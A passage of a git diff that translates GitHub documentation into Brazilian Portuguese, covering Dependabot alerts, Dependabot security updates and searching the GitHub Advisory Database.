+{% data variables.product.product_name %} começa a gerar o gráfico de dependências imediatamente e gera alertas para quaisquer dependências vulneráveis assim que forem identificadas. O gráfico geralmente é preenchido em minutos, mas isso pode levar mais tempo para repositórios com muitas dependências. Para obter mais informações, consulte "[Gerenciando configurações do uso de dados de seu repositório privado](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)".
 {% endif %}
 
-When {% data variables.product.product_name %} identifies a vulnerable dependency, we generate a {% data variables.product.prodname_dependabot %} alert and display it {% ifversion fpt or ghec or ghes > 3.0 %} on the Security tab for the repository and{% endif %} in the repository's dependency graph. The alert includes {% ifversion fpt or ghec or ghes > 3.0 %}a link to the affected file in the project, and {% endif %}information about a fixed version. {% data variables.product.product_name %} may also notify the maintainers of affected repositories about the new alert according to their notification preferences. For more information, see "[Configuring notifications for vulnerable dependencies](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)."
+Quando {% data variables.product.product_name %} identifica uma dependência vulnerável, geramos um alerta de {% data variables.product.prodname_dependabot %} e o exibimos {% ifversion fpt or ghec or ghes > 3.0 %} na aba Segurança do repositório e{% endif %} no gráfico de dependências do repositório. O alerta inclui {% ifversion fpt or ghec or ghes > 3.0 %} um link para o arquivo afetado no projeto, e {% endif %}informações sobre uma versão fixa. {% data variables.product.product_name %} também pode notificar os mantenedores dos repositórios afetados sobre o novo alerta de acordo com as suas preferências de notificação. Para obter mais informações, consulte "[Configurar notificações para dependências vulneráveis](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)".
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, the alert may also contain a link to a pull request to update the manifest or lock file to the minimum version that resolves the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."
+Para repositórios em que {% data variables.product.prodname_dependabot_security_updates %} estão habilitados, o alerta também pode conter um link para um pull request para atualizar o manifesto ou arquivo de bloqueio para a versão mínima que resolve a vulnerabilidade. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."
 {% endif %}
 
 {% warning %}
 
-**Note**: {% data variables.product.product_name %}'s security features do not claim to catch all vulnerabilities. Though we are always trying to update our vulnerability database and generate alerts with our most up-to-date information, we will not be able to catch everything or tell you about known vulnerabilities within a guaranteed time frame. These features are not substitutes for human review of each dependency for potential vulnerabilities or any other issues, and we recommend consulting with a security service or conducting a thorough vulnerability review when necessary.
+**Observação**: Os recursos de segurança de {% data variables.product.product_name %} não reivindicam garantem que todas as vulnerabilidades sejam detectadas. Embora estejamos sempre tentando atualizar nosso banco de dados de vulnerabilidades e gerar alertas com nossas informações mais atualizadas. não seremos capazes de pegar tudo ou falar sobre vulnerabilidades conhecidas dentro de um período de tempo garantido. Esses recursos não substituem a revisão humana de cada dependência em busca de possíveis vulnerabilidades ou algum outro problema, e nossa sugestão é consultar um serviço de segurança ou realizar uma revisão completa de vulnerabilidade quando necessário.
 
 {% endwarning %}
 
-## Access to  {% data variables.product.prodname_dependabot_alerts %}
+## Acesso a {% data variables.product.prodname_dependabot_alerts %}
 
-You can see all of the alerts that affect a particular project{% ifversion fpt or ghec %} on the repository's Security tab or{% endif %} in the repository's dependency graph. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)."
+É possível ver todos os alertas que afetam um determinado projeto{% ifversion fpt or ghec %} na aba Segurança do repositório ou{% endif %} no gráfico de dependências do repositório. Para obter mais informações, consulte "[Visualizar e atualizar dependências vulneráveis no seu repositório](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository). "
 
-By default, we notify people with admin permissions in the affected repositories about new {% data variables.product.prodname_dependabot_alerts %}. {% ifversion fpt or ghec %}{% data variables.product.product_name %} never publicly discloses identified vulnerabilities for any repository. You can also make {% data variables.product.prodname_dependabot_alerts %} visible to additional people or teams working repositories that you own or have admin permissions for. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)."
+Por padrão, notificamos as pessoas com permissões de administrador nos repositórios afetados sobre os novos {% data variables.product.prodname_dependabot_alerts %}. {% ifversion fpt or ghec %}{% data variables.product.product_name %} nunca divulga publicamente vulnerabilidades identificadas para qualquer repositório. Você também pode tornar o {% data variables.product.prodname_dependabot_alerts %} visível para pessoas ou repositórios de trabalho de equipes adicionais que você possui ou para os quais tem permissões de administrador. Para obter mais informações, consulte "[Gerenciar configurações de segurança e análise do repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)".
 {% endif %}
 
 {% data reusables.notifications.vulnerable-dependency-notification-enable %}
-{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} For more information, see "[Configuring notifications for vulnerable dependencies](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)."
+{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} Para obter mais informações, consulte "[Configurar notificações para dependências vulneráveis](/code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies)".
 
-You can also see all the {% data variables.product.prodname_dependabot_alerts %} that correspond to a particular vulnerability in the {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %}
+Você também pode ver todos os {% data variables.product.prodname_dependabot_alerts %} que correspondem a uma vulnerabilidade particular em {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-## Further reading
+## Leia mais
 
-- "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)"
-- "[Viewing and updating vulnerable dependencies in your repository](/articles/viewing-and-updating-vulnerable-dependencies-in-your-repository)"{% endif %}
-{% ifversion fpt or ghec %}- "[Understanding how {% data variables.product.prodname_dotcom %} uses and protects your data](/categories/understanding-how-github-uses-and-protects-your-data)"{% endif %}
+- "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)"
+- "[Exibir e atualizar dependências vulneráveis no repositório](/articles/viewing-and-updating-vulnerable-dependencies-in-your-repository)"{% endif %}
+{% ifversion fpt or ghec %}- "[Entendendo como {% data variables.product.prodname_dotcom %} usa e protege seus dados](/categories/understanding-how-github-uses-and-protects-your-data)"{% endif %}
diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md
index b283a4b5e0..b1e68c193b 100644
--- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md
+++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md
@@ -1,7 +1,7 @@
 ---
-title: About Dependabot security updates
-intro: '{% data variables.product.prodname_dependabot %} can fix vulnerable dependencies for you by raising pull requests with security updates.'
-shortTitle: Dependabot security updates
+title: Sobre as atualizações de segurança do Dependabot
+intro: '{% data variables.product.prodname_dependabot %} pode corrigir dependências vulneráveis para você, levantando pull requests com atualizações de segurança.'
+shortTitle: Atualizações de segurança do Dependabot
 redirect_from:
   - /github/managing-security-vulnerabilities/about-github-dependabot-security-updates
   - /github/managing-security-vulnerabilities/about-dependabot-security-updates
@@ -25,42 +25,42 @@ topics:
 {% data reusables.dependabot.beta-security-and-version-updates %}
 {% data reusables.dependabot.enterprise-enable-dependabot %}
 
-## About {% data variables.product.prodname_dependabot_security_updates %}
+## Sobre o {% data variables.product.prodname_dependabot_security_updates %}
 
-{% data variables.product.prodname_dependabot_security_updates %} make it easier for you to fix vulnerable dependencies in your repository. If you enable this feature, when a {% data variables.product.prodname_dependabot %} alert is raised for a vulnerable dependency in the dependency graph of your repository, {% data variables.product.prodname_dependabot %} automatically tries to fix it. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)."
+{% data variables.product.prodname_dependabot_security_updates %} torna mais fácil para você corrigir dependências vulneráveis no seu repositório. Se você habilitar este recurso, quando um alerta de {% data variables.product.prodname_dependabot %} for criado para uma dependência vulnerável no gráfico de dependências do seu repositório, {% data variables.product.prodname_dependabot %} tenta corrigir isso automaticamente. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis de](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" e "[Configurar {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)".
 
-{% data variables.product.prodname_dotcom %} may send  {% data variables.product.prodname_dependabot_alerts %} to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %}
+{% data variables.product.prodname_dotcom %} pode enviar  {% data variables.product.prodname_dependabot_alerts %} para repositórios afetados por uma vulnerabilidade revelada por uma consultoria de segurança de {% data variables.product.prodname_dotcom %} recentemente publicada. {% data reusables.security-advisory.link-browsing-advisory-db %}
 
-{% data variables.product.prodname_dependabot %} checks whether it's possible to upgrade the vulnerable dependency to a fixed version without disrupting the dependency graph for the repository. Then {% data variables.product.prodname_dependabot %} raises a pull request to update the dependency to the minimum version that includes the patch and links the pull request to the {% data variables.product.prodname_dependabot %} alert, or reports an error on the alert. For more information, see "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)."
+{% data variables.product.prodname_dependabot %} verifica se é possível atualizar a dependência vulnerável para uma versão fixa sem comprometer o gráfico de dependências para o repositório. Em seguida, {% data variables.product.prodname_dependabot %} levanta um pull request para atualizar a dependência para a versão mínima que inclui o patch e os links do pull request para o alerta de {% data variables.product.prodname_dependabot %} ou relata um erro no alerta. Para obter mais informações, consulte "[Solução de problemas de erros de {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)".
 
 {% note %}
 
-**Note**
+**Observação**
 
-The {% data variables.product.prodname_dependabot_security_updates %} feature is available for repositories where you have enabled the dependency graph and {% data variables.product.prodname_dependabot_alerts %}. You will see a {% data variables.product.prodname_dependabot %} alert for every vulnerable dependency identified in your full dependency graph. However, security updates are triggered only for dependencies that are specified in a manifest or lock file. {% data variables.product.prodname_dependabot %} is unable to update an indirect or transitive dependency that is not explicitly defined. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)."
+O recurso de {% data variables.product.prodname_dependabot_security_updates %} está disponível para repositórios nos quais você habilitou o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %}. Você verá um alerta de {% data variables.product.prodname_dependabot %} para cada dependência vulnerável identificada no seu gráfico de dependências completas. No entanto, atualizações de segurança são acionadas apenas para dependências especificadas em um manifesto ou arquivo de bloqueio. {% data variables.product.prodname_dependabot %} não consegue atualizar uma dependência indireta ou transitória que não esteja explicitamente definida. Para obter mais informações, consulte "[Sobre o gráfico de dependência](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)".
 
 {% endnote %}
 
-You can enable a related feature, {% data variables.product.prodname_dependabot_version_updates %}, so that {% data variables.product.prodname_dependabot %} raises pull requests to update the manifest to the latest version of the dependency, whenever it detects an outdated dependency. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)."
+Você pode habilitar um recurso relacionado, {% data variables.product.prodname_dependabot_version_updates %}, para que {% data variables.product.prodname_dependabot %} abra pull requests para atualizar o manifesto para a última versão da dependência, sempre que detectar uma dependência desatualizada. Para obter mais informações, consulte "[Sobre atualizações da versão de {% data variables.product.prodname_dependabot %}](/github/administering-a-repository/about-dependabot-version-updates)".
 
 {% data reusables.dependabot.pull-request-security-vs-version-updates %}
 
-## About pull requests for security updates
+## Sobre os pull requests para atualizações de segurança
 
-Each pull request contains everything you need to quickly and safely review and merge a proposed fix into your project. This includes information about the vulnerability like release notes, changelog entries, and commit details. Details of which vulnerability a pull request resolves are hidden from anyone who does not have access to {% data variables.product.prodname_dependabot_alerts %} for the repository.
+Cada pull request contém tudo o que você precisa para revisar mesclar, de forma rápida e segura, uma correção proposta em seu projeto. Isto inclui informações sobre a vulnerabilidade como, por exemplo, notas de lançamento, entradas de registros de mudanças e detalhes do commit. Detalhes de quais vulnerabilidades são resolvidas por um pull request de qualquer pessoa que não tem acesso a {% data variables.product.prodname_dependabot_alerts %} para o repositório.
 
-When you merge a pull request that contains a security update, the corresponding {% data variables.product.prodname_dependabot %} alert is marked as resolved for your repository. For more information about {% data variables.product.prodname_dependabot %} pull requests, see "[Managing pull requests for dependency updates](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)."
+Ao fazer merge de um pull request que contém uma atualização de segurança, o alerta de {% data variables.product.prodname_dependabot %} correspondente é marcado como resolvido no seu repositório. Para obter mais informações sobre pull requests de {% data variables.product.prodname_dependabot %}, consulte "[Gerenciar pull requests para atualizações de dependências](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)".
 
 {% data reusables.dependabot.automated-tests-note %}
 
 {% ifversion fpt or ghec %}
 
-## About compatibility scores
+## Sobre pontuações de compatibilidade
 
-{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. These are calculated from CI tests in other public repositories where the same security update has been generated. An update's compatibility score is the percentage of CI runs that passed when updating between specific versions of the dependency.
+O {% data variables.product.prodname_dependabot_security_updates %} pode incluir uma pontuação de compatibilidade para que você saiba se atualizar uma dependência poderá causar alterações significativas no seu projeto. Estes são calculados a partir de testes de CI em outros repositórios públicos onde a mesma atualização de segurança foi gerada. Uma pontuação de compatibilidade da atualização é a porcentagem de execuções de CI que foram aprovadas durante a atualização entre versões específicas da dependência.
 
 {% endif %}
 
-## About notifications for {% data variables.product.prodname_dependabot %} security updates
+## Sobre notificações para atualizações de segurança de {% data variables.product.prodname_dependabot %}
 
-You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot %} security updates. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)."
+Você pode filtrar suas notificações em {% data variables.product.company_short %} para mostrar as atualizações de segurança de {% data variables.product.prodname_dependabot %}. Para obter mais informações, consulte "[Gerenciando notificações de sua caixa de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)".
diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
index 34a478356c..f9a926fc58 100644
--- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
+++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md
@@ -1,7 +1,7 @@
 ---
-title: Browsing security vulnerabilities in the GitHub Advisory Database
-intro: 'The {% data variables.product.prodname_advisory_database %} allows you to browse or search for vulnerabilities that affect open source projects  on {% data variables.product.company_short %}.'
-shortTitle: Browse Advisory Database
+title: Pesquisar vulnerabilidades de segurança no banco de dados de consultoria do GitHub
+intro: 'O {% data variables.product.prodname_advisory_database %} permite que você pesquise vulnerabilidades que afetam projetos de código aberto no {% data variables.product.company_short %}.'
+shortTitle: Procurar banco de dados consultivo
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database
@@ -17,103 +17,101 @@ topics:
   - Vulnerabilities
   - CVEs
 ---
+
 <!--Marketing-LINK: From /features/security/software-supply-chain page "Browsing security vulnerabilities in the GitHub Advisory Database".-->
 
-## About security vulnerabilities
+## Sobre vulnerabilidades de segurança
 
 {% data reusables.repositories.a-vulnerability-is %}
 
-## About the {% data variables.product.prodname_advisory_database %}
+## Sobre o {% data variables.product.prodname_advisory_database %}
 
-The {% data variables.product.prodname_advisory_database %} contains a list of known security vulnerabilities, grouped in two categories: {% data variables.product.company_short %}-reviewed advisories and unreviewed advisories.
+O {% data variables.product.prodname_advisory_database %} contém uma lista de vulnerabilidades de segurança conhecidas, agrupadas em duas categorias: consultorias revisadas por {% data variables.product.company_short %} e consultorias não revisadas.
 
 {% data reusables.repositories.tracks-vulnerabilities %}
 
-### About {% data variables.product.company_short %}-reviewed advisories
+### Sobre as consultorias revisadas por {% data variables.product.company_short %}
 
-{% data variables.product.company_short %}-reviewed advisories are security vulnerabilities that have been mapped to packages tracked by the {% data variables.product.company_short %} dependency graph.
+As consultorias revisadas por {% data variables.product.company_short %} são vulnerabilidades de segurança que foram mapeadas para pacotes monitorados pelo gráfico de dependências de {% data variables.product.company_short %}.
 
-We carefully review each advisory for validity. Each {% data variables.product.company_short %}-reviewed advisory has a full description, and contains both ecosystem and package information.
+Analisamos cuidadosamente cada consultoria com relação à sua validade. Cada consultoria revisada por {% data variables.product.company_short %} tem uma descrição completa e contém informações de pacote e ecossistema.
 
-If you enable {% data variables.product.prodname_dependabot_alerts %} for your repositories, you are automatically notified when a new {% data variables.product.company_short %}-reviewed advisory affects packages you depend on. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+Se você habilitar {% data variables.product.prodname_dependabot_alerts %} para os seus repositórios, você será notificado automaticamente quando uma nova consultoria revisada por {% data variables.product.company_short %} afetar pacotes dos quais você depende. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"
 
-### About unreviewed advisories
+### Sobre consultorias não revisadas
 
-Unreviewed advisories are security vulnerabilites that we publish automatically into the {% data variables.product.prodname_advisory_database %}, directly from the National Vulnerability Database feed. 
+As consultorias não revisadas são vulnerabilidades de segurança que publicamos automaticamente no {% data variables.product.prodname_advisory_database %}, diretamente do feed de Dados de Vulnerabilidade Nacional.
 
-{% data variables.product.prodname_dependabot %} doesn't create {% data variables.product.prodname_dependabot_alerts %} for unreviewed advisories as this type of advisory isn't checked for validity or completion.
+{% data variables.product.prodname_dependabot %} não cria {% data variables.product.prodname_dependabot_alerts %} para consultorias não revisadas, pois esse tipo de consultoria não é verificado com relação à validade ou integralidade.
 
-## About security advisories
+## Sobre as consultorias de segurança
 
-Each security advisory contains information about the vulnerability, which may include the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. In addition, advisories from the National Vulnerability Database list contain a link to the CVE record, where you can read more details about the vulnerability, its CVSS scores, and its qualitative severity level. For more information, see the "[National Vulnerability Database](https://nvd.nist.gov/)" from the National Institute of Standards and Technology.
+Cada consultoria de segurança contém informações sobre a vulnerabilidade, que pode incluir a descrição, gravidade, pacote afetado. ecossistema de pacote, versões afetadas e versões de patch, impacto e informações opcionais como, por exemplo, referências, soluções alternativas e créditos. Além disso, a consultoria da lista de Bancos de Vulnerabilidade Nacional contêm um link para o registro CVE, onde você pode ler mais detalhes sobre a vulnerabilidade, suas pontuações CVSS e seu nível de gravidade qualitativa. Para obter mais informações, consulte a "[Base de Dados de Vulnerabilidade Nacional](https://nvd.nist.gov/)" do Instituto Nacional de Padrões e Tecnologia.
 
-The severity level is one of four possible levels defined in the "[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)."
-- Low
-- Medium/Moderate
-- High
-- Critical
+O nível de gravidade é um dos quatro níveis possíveis definidos no [ Sistema de Pontuação de vulnerabilidade Comum (CVSS), Seção 5](https://www.first.org/cvss/specification-document)".
+- Baixo
+- Médio/Moderado
+- Alto
+- Crítico
 
-The {% data variables.product.prodname_advisory_database %} uses the CVSS levels described above. If {% data variables.product.company_short %} obtains a CVE, the {% data variables.product.prodname_advisory_database %} uses CVSS version 3.1. If the CVE is imported, the {% data variables.product.prodname_advisory_database %} supports both CVSS versions 3.0 and 3.1.
+O {% data variables.product.prodname_advisory_database %} usa os níveis de CVSS descritos acima. Se {% data variables.product.company_short %} obtiver um CVE, o {% data variables.product.prodname_advisory_database %} usará a versão 3.1 do CVSS. Se o CVE for importado, o {% data variables.product.prodname_advisory_database %} será compatível com as versões 3.0 e 3.1 do CVSS.
 
 {% data reusables.repositories.github-security-lab %}
 
-## Accessing an advisory in the {% data variables.product.prodname_advisory_database %}
+## Acessar uma consultoria no {% data variables.product.prodname_advisory_database %}
 
-1. Navigate to https://github.com/advisories.
-2. Optionally, to filter the list, use any of the drop-down menus.
-  ![Dropdown filters](/assets/images/help/security/advisory-database-dropdown-filters.png)
+1. Navegue até https://github.com/advisories.
+2. Opcionalmente, para filtrar a lista, use qualquer um dos menus suspensos. ![Filtros do menu suspenso](/assets/images/help/security/advisory-database-dropdown-filters.png)
    {% tip %}
 
-   **Tip:** You can use the sidebar on the left to explore  {% data variables.product.company_short %}-reviewed and unreviewed advisories separately.
+   **Dica:** Você pode usar a barra lateral à esquerda para explorar as consultorias revisadas por {% data variables.product.company_short %} e as consultorias não revisadas separadamente.
 
    {% endtip %}
-3. Click on any advisory to view details.
+3. Clique em qualquer consultoria para visualizar as informações.
 
 {% note %}
 
-The database is also accessible using the GraphQL API. For more information, see the "[`security_advisory` webhook event](/webhooks/event-payloads/#security_advisory)."
+O banco de dados também pode ser acessado usando a API do GraphQL. Para obter mais informações, consulte "[ evento de webhook `security_advisory`](/webhooks/event-payloads/#security_advisory)."
 
 {% endnote %}
 
-## Searching the {% data variables.product.prodname_advisory_database %}
+## Pesquisar em {% data variables.product.prodname_advisory_database %}
 
-You can search the database, and use qualifiers to narrow your search. For example, you can search for advisories created on a certain date, in a specific ecosystem, or in a particular library.
+Você pode procurar no banco de dados e usar qualificadores para limitar sua busca. Por exemplo, você pode procurar consultorias criadas em uma determinada data, em um ecossistema específico ou em uma biblioteca em particular.
 
 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example |
-| ------------- | ------------- |
-| `type:reviewed`| [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed) will show {% data variables.product.company_short %}-reviewed advisories. |
-| `type:unreviewed`| [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) will show unreviewed advisories. |
-| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) will show the advisory with this {% data variables.product.prodname_advisory_database %} ID. |
-| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) will show the advisory with this CVE ID number. |
-| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) will show only advisories affecting NPM packages. |
-| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) will show only advisories with a high severity level. |
-| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) will show only advisories affecting the lodash library. |
-| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) will show only advisories with this CWE number. |
-| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) will show only advisories credited to the "octocat" user account. |
-| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) will sort by the oldest advisories first. |
-| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) will sort by the newest advisories first. |
-| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) will sort by the least recently updated first. |
-| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) will sort by the most recently updated first. |
-| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) will show only advisories that have been withdrawn. |
-| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) will show only advisories created on this date. |
-| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) will show only advisories updated on this date. |
+| Qualifier             | Exemplo                                                                                                                                                                          |
+| --------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `type:reviewed`       | [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed) mostrará as consultrias revisadas de {% data variables.product.company_short %}.                        |
+| `type:unreviewed`     | [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) mostrará as consultorias não revisadas.                                                             |
+| `GHSA-ID`             | [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) mostrará a consultoria com o ID de {% data variables.product.prodname_advisory_database %}. |
+| `CVE-ID`              | [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) mostrará a consultoria com este ID de CVE.                                                              |
+| `ecosystem:ECOSYSTEM` | [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) mostrará apenas as consultorias que afetam os pacotes NPM.                               |
+| `severity:LEVEL`      | [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) mostrará apenas as consultorias com um alto nível de gravidade.                          |
+| `affects:LIBRARY`     | [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) mostrará apenas as consultorias que afetam a biblioteca de lodash.                     |
+| `cwe:ID`              | [**cwe:352**](https://github.com/advisories?query=cwe%3A352) mostrará apenas as consultorias com este número de CWE.                                                             |
+| `credit:USERNAME`     | [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) mostrará apenas as consultorias creditadas na conta de usuário "octocat".                             |
+| `sort:created-asc`    | [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) classificará os resultados, mostrando as consultorias mais antigas primeiro.       |
+| `sort:created-desc`   | [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) classificará os resultados mostrando as consultorias mais novas primeiro.        |
+| `sort:updated-asc`    | [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) classificará os resultados, mostrando os menos atualizados primeiro.               |
+| `sort:updated-desc`   | [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) classificará os resultados, mostrando os mais atualizados primeiro.              |
+| `is:withdrawn`        | [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) mostrará apenas as consultorias que foram retiradas.                                       |
+| `created:YYYY-MM-DD`  | [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) mostrará apenas as consultorias criadas nessa data.                            |
+| `updated:YYYY-MM-DD`  | [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) mostrará somente as consultorias atualizadas nesta data.                       |
 
-## Viewing your vulnerable repositories
+## Visualizar seus repositórios vulneráveis
 
-For any {% data variables.product.company_short %}-reviewed advisory in the {% data variables.product.prodname_advisory_database %}, you can see which of your repositories are affected by that security vulnerability. To see a vulnerable repository, you must have access to {% data variables.product.prodname_dependabot_alerts %} for that repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)."
+Para qualquer consultoria revisada por {% data variables.product.company_short %} no {% data variables.product.prodname_advisory_database %}, você pode ver qual dos seus repositórios são afetados por essa vulnerabilidade de segurança. Para ver um repositório vulnerável, você deve ter acesso a {% data variables.product.prodname_dependabot_alerts %} para esse repositório. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)"
 
-1. Navigate to https://github.com/advisories.
-2. Click an advisory.
-3. At the top of the advisory page, click **Dependabot alerts**.
-   ![Dependabot alerts](/assets/images/help/security/advisory-database-dependabot-alerts.png)
-4. Optionally, to filter the list, use the search bar or the drop-down menus. The "Organization" drop-down menu allows you to filter the {% data variables.product.prodname_dependabot_alerts %} per owner (organization or user).
-   ![Search bar and drop-down menus to filter alerts](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png)
-5. For more details about the vulnerability, and for advice on how to fix the vulnerable repository, click the repository name.
+1. Navegue até https://github.com/advisories.
+2. Clique em uma consultoria.
+3. Na parte superior da página da consultoria, clique em **Alertas do dependabot**. ![Alertas do Dependabot](/assets/images/help/security/advisory-database-dependabot-alerts.png)
